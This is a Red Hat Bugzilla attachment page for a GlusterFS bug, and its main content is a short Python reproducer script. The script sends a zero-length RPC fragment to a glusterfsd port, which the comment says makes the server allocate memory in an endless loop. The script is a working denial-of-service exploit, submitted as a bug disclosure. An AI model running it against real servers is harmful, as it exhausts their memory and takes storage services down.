Login
[x]
Log in using an account from:
Fedora Account System
Red Hat Associate
Red Hat Customer
Or login using a Red Hat Bugzilla account
Forgot Password
Login:
Hide Forgot
Create an Account
Red Hat Bugzilla – Attachment 933620 Details for
Bug 1136221
The memories are exhausted quickly when handle the message which has multi fragments in a single record
[?]
New
Simple Search
Advanced Search
My Links
Browse
Requests
Reports
Current State
Search
Tabular reports
Graphical reports
Duplicates
Other Reports
User Changes
Plotly Reports
Bug Status
Bug Severity
Non-Defaults
|
Product Dashboard
Help
Page Help!
Bug Writing Guidelines
What's new
Browser Support Policy
5.0.4.rh83 Release notes
FAQ
Guides index
User guide
Web Services
Contact
Legal
This site requires JavaScript to be enabled to function correctly, please enable it.
python test.py IP PORT; The IP and port are which the glusterfsd process listens on
test.py (text/plain), 711 bytes, created by
jiangkai
on 2014-09-02 08:02:11 UTC
(
hide
)
Description:
python test.py IP PORT; The IP and port are which the glusterfsd process listens on
Filename:
MIME Type:
Creator:
jiangkai
Created:
2014-09-02 08:02:11 UTC
Size:
711 bytes
patch
obsolete
>import socket >import struct >import sys > >#The bytes encode an unsigned binary number; as with ># XDR integers, the byte order is from highest to lowest. The number ># encodes two values -- a boolean which indicates whether the fragment ># is the last fragment of the record (bit value 1 implies the fragment ># is the last fragment) and a 31-bit unsigned binary value which is the ># length in bytes of the fragment's data > ># 00000000 will cause the glusterfsd malloc memory in an infinite loop in __socket_proto_state_machine >fragment = struct.pack("I", 0) > > >address = (sys.argv[1], int(sys.argv[2])) >s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >s.connect(address) >s.send( fragment ) >s.close() >
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 1136221
: 933620